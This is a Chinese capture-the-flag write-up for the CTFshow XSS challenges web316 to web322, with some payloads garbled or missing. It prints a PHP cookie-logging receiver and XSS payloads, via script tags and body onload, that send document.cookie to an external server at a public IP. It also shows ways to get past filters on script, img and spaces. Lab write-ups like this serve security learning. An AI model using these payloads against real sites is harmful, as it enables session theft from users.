CTFshow XSS web316
是反射型 XSS

法一:
利用现成平台


法二:
自己搭服务器
先在服务器上面放一个接受Cookie的文件。

文件内容:
<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>
payload:
<script>location.href="http://47.98.193.145(自己服务器的公网ip)/1111(我多建了一个文件夹)/127.php(存放上述php代码的文件)?cookie="+document.cookiescript>

已经获取到Cookie了


之后的题都用服务器不用XSS平台了。
管理服务器我用的是xshell和xftp。
CTFshow XSS web317
和上一题一样的情景。

测试一下过滤了script了。

标签可以用 img
Payload:
![image-20230926195636359]()
CTFshow XSS web318
先进行一下测试,看看过滤了什么。
无回显

无回显

alert(1)有回显,可以用头

payload:

这些payload也行:
<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">body>
<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">

CTFshow XSS web319
同web318
CTFshow XSS web320
以这种方式排查过滤,试出他过滤了script,img,空格。

空格可以用%09、tab、/、/**/代替。
Payload:
扩展一下payload:
String.fromCharCode()函数:ascii码转字符
参考:https://www.runoob.com/jsref/jsref-fromcharcode.html
String.fromCharCode(111,110,108,111,97,100); 控制台运行结果如下:

用它我可以构造一个payload:
String.fromCharCode(***)就是
字符串转ascii码脚本:
input_str
= input("请输入字符串: ") # 获取用户输入的字符串
ascii_list
= []
# 遍历字符串,将每个字符转换为ASCII码,并添加到列表中
for char
in input_str
:
ascii_code
= ord(char
) # 使用ord()函数获取字符的ASCII码
ascii_list
.append
(str(ascii_code
)) # 将ASCII码转换为字符串并添加到列表
# 将列表中的ASCII码用逗号隔开,并打印结果
result
= ','.join
(ascii_list
)
print("转换后的ASCII码:", result
)
ascii码转字符串脚本:
def ascii_to_string(ascii_str
):
# 将以逗号分隔的ASCII码字符串分割成一个列表
ascii_list
= ascii_str
.split
(',')
# 使用列表推导式将ASCII码转换为字符,并连接成一个字符串
result
= ''.join
(chr(int(code
)) for code
in ascii_list
)
return result
# 输入以逗号分隔的ASCII码字符串
ascii_str
= input("请输入以逗号分隔的ASCII码字符串: ")
# 调用函数进行转换并打印结果
string_result
= ascii_to_string
(ascii_str
)
print("转换后的字符串:", string_result
)


后来想了想,刷这个是以入门为目的,这种千奇百怪的payload就先不用了,我会放在文章最后,感兴趣的师傅们看看哦。
CTFshow XSS web321
同web320
CTFshow XSS web322
过滤了script,img,iframe,xss,空格,分号,逗号。
网上wp说过滤了点号. 个人尝试过貌似没有。
payload:
iframe>